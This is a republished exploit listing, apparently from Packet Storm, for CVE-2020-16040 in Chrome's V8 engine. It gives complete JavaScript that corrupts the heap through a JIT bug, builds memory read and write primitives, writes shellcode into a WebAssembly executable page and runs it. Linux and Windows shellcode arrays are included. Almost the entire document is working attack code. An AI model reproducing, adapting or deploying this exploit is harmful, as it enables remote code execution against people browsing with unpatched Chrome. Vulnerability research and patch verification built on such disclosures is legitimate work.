Google Chrome 86.0.4240 V8 Remote Code Execution ≈ Packet Storm – Digitalmunition




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Published on April 7th, 2021 📆 | 3070 Views ⚑

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Google Chrome 86.0.4240 V8 Remote Code Execution ≈ Packet Storm

# Exploit Title: Google Chrome prior 87.0.4280.88 V8 – Remote Code Execution
# Date: 06/04/2021
# Exploit Author: Tobias Marcotto
# Tested on: Kali Linux x64
# Version: 87.0.4280.88
# Description: Insufficient data validation in V8 in Google Chrome prior to 87.0.4280.88 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
# CVE: CVE-2020-16040

*********************************************************************************************************

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
let buf2 = new ArrayBuffer(0x150);

function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) < < 32n);
}

function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}

function foo(a) {
var y = 0x7fffffff;

if (a == NaN) y = NaN;
if (a) y = -1;

let z = y + 1;
z >>= 31;
z = 0x80000000 – Math.sign(z|1);

if(a) z = 0;

var arr = new Array(0-Math.sign(z));
arr.shift();
var cor = [1.1, 1.2, 1.3];

return [arr, cor];
}

for(var i=0;i<0x3000;++i)
foo(true);

var x = foo(false);
var arr = x[0];
var cor = x[1];

const idx = 6;
arr[idx+10] = 0x4242;

function addrof(k) {
arr[idx+1] = k;
return ftoi(cor[0]) & 0xffffffffn;
}

function fakeobj(k) {
cor[0] = itof(k);
return arr[idx+1];
}

var float_array_map = ftoi(cor[3]);

var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
var fake = fakeobj(addrof(arr2) + 0x20n);

function arbread(addr) {
if (addr % 2n == 0) {
addr += 1n;
}
arr2[1] = itof((2n < < 32n) + addr - 8n);
return (fake[0]);
}

function arbwrite(addr, val) {
if (addr % 2n == 0) {
addr += 1n;
}
arr2[1] = itof((2n < < 32n) + addr - 8n);
fake[0] = itof(BigInt(val));
}

function copy_shellcode(addr, shellcode) {
let dataview = new DataView(buf2);
let buf_addr = addrof(buf2);
let backing_store_addr = buf_addr + 0x14n;
arbwrite(backing_store_addr, addr);

for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}

var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
console.log(“[+] Address of rwx page: ” + rwx_page_addr.toString(16));
var shellcode = [16889928,16843009,1213202689,1652108984,23227744,70338561,800606244,796029813,1349413218,1760004424,16855099,19149953,1208025345,1397310648,1497451600,3526447165,1510500946,1390543176,1222805832,16843192,16843009,3091746817,1617066286,16867949,604254536,1966061640,1647276659,827354729,141186806,3858843742,3867756630,257440618,2425393157];
/*var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957]; */ // windows shellcode
copy_shellcode(rwx_page_addr, shellcode);
f();

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